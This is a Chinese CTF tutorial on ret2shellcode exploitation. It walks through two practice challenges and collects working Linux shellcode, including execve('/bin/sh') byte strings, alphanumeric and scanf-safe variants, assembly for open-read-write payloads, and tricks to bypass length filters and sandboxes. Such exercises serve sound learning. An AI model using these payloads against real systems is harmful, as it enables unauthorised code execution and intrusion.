PWN练习之ret2shellcode
概述
ret2shellcode是栈溢出利用ret2text、ret2shellcode、ret2libc三大类中的一个,是指攻击者需要在程序没给shell的情况下自己调用shell的机器码(即shellcode)注入到程序内存中,随后就是利用栈溢出复写return_address,跳转至shellcode所在内存,执行shell命令,得到flag。
可能的exp姿势
1.注入shellcode至stack段中
这个现在其实很少见了,基本上都加了保护。其中,比较常见的保护手段有:
- ASLR:其功能是将一部分内存段(如栈…)的地址
偏移,在注入时难以定位其位置。 - NX:使得部分内存段(如堆、栈…)
不可执行,无法执行注入的代码。 - Canary:原理是
在栈底插入cookie信息,函数返回时将检测该信息是否被改变,若改变,则断定发生栈溢出
2.注入shellcode至bss段中
在虚拟内存当中,bss段主要保存无初值的全局变量/静态变量(在assmbly中以占位符?声明)。若程序的bss段可写、可执行,则可以把shellcode写入全局变量/静态变量中。
例题
一.[GDOUCTF 2023]Shellcode
拿到二进制文件,习惯性的checksec一下,看栈…的保护措施:

加了NX,不过没啥关系,
放到IDA中反编译,定位到main函数:
{ |
可以利用name来注入shellcode,然后再栈溢出到buf中执行。这里要注意的是name限制了25字节的写入。
想到利用pwntools里的shellcraft模块直接生成shellcode利用,
首先试试用shellcraft.sh(),但是这个在32位下占位44字节,64位的则为48字节,超过了25字节的写入限制。于是,便利用shellcraft.cat()来构造cat flag,这个只有0x21字节。
接着,我们得到name的地址为.bss段的0x6010A0。
最后的exp:
from pwn import * |
还有一种做法是手动构造shellcode,找一个小于25字节的shellcode。
NOTE
32位短字节shellcode(21字节):
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64位短字节shellcode(23字节):
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05
其余的基本上不变,下面为第二种exp:
from pwn import * |
二.[HNCTF 2022 Week1]safe_shellcode
拿到附件,checksec一下,

保护得还算少,
IDA中反编译,定位main函数:
{ |
就是先read一下s变量,循环s字节数的次数做判断,strcpy(buff, s)则是将s的值直接存入buff中,其也指向了.bss段。
要想绕过该判断,只要输入的ascii码在47-122之间即可。09、AZ、a~z都可。
我们使用纯ascii字符的shellcode:Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
因为后面直接调用了buff的地址,所以无须栈溢出即可得到flag。
NOTE
32位 短字节shellcode –> 21字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
32位 纯ascii字符shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
32位 scanf可读取的shellcode \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
64位 scanf可读取的shellcode 22字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
64位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
64位 纯ascii字符shellcode Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
最后的exp:
from pwn import * |
绕过限制
一.限制输入长度
利用短字节shellcode(32位)
getshell- 21字节# (execve("/bin/sh",NULL,NULL))
shellcode = asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")orw- 56字节shellcode = asm("""
/*open(./flag)*/
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f2e
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
/*read(fd,buf,0x100)*/
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
/*write(1,buf,0x100)*/
mov ebx,0x1
mov eax,0x4
int 0x80
""")无
\x00截断getshell- 21字节\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
scanf可读取getshell- 41字节\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
利用短字节shellcode(64位)
getshell- 22字节shellcode = asm("""
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
""")orw- 43字节shellcode = asm("""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")无
\x00截断、scanf可读 - 22字节\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
\x00截断绕过长度判断
当题目采用
strlen来进行shellcode的长度检测时,可以在其前面加\x00开头的指令绕过长度检测。以下为64位的指令:00 40 00 add BYTE PTR [rax+0x0], al
00 41 00 add BYTE PTR [rcx+0x0], al
00 42 00 add BYTE PTR [rdx+0x0], al
00 43 00 add BYTE PTR [rbx+0x0], al
00 45 00 add BYTE PTR [rbp+0x0], al
00 46 00 add BYTE PTR [rsi+0x0], al
00 47 00 add BYTE PTR [rdi+0x0], alps:也可直接
\x00\x00绕过
二.限制权限
限制shellcode无读写权限
利用
mprotect给予读写权限,并再次利用read写入执行mprotect用法
int mprotect(const void *start, size_t len, int prot);限制远程读flag权限
先执行
setuid(0),再执行execve来进行getshell。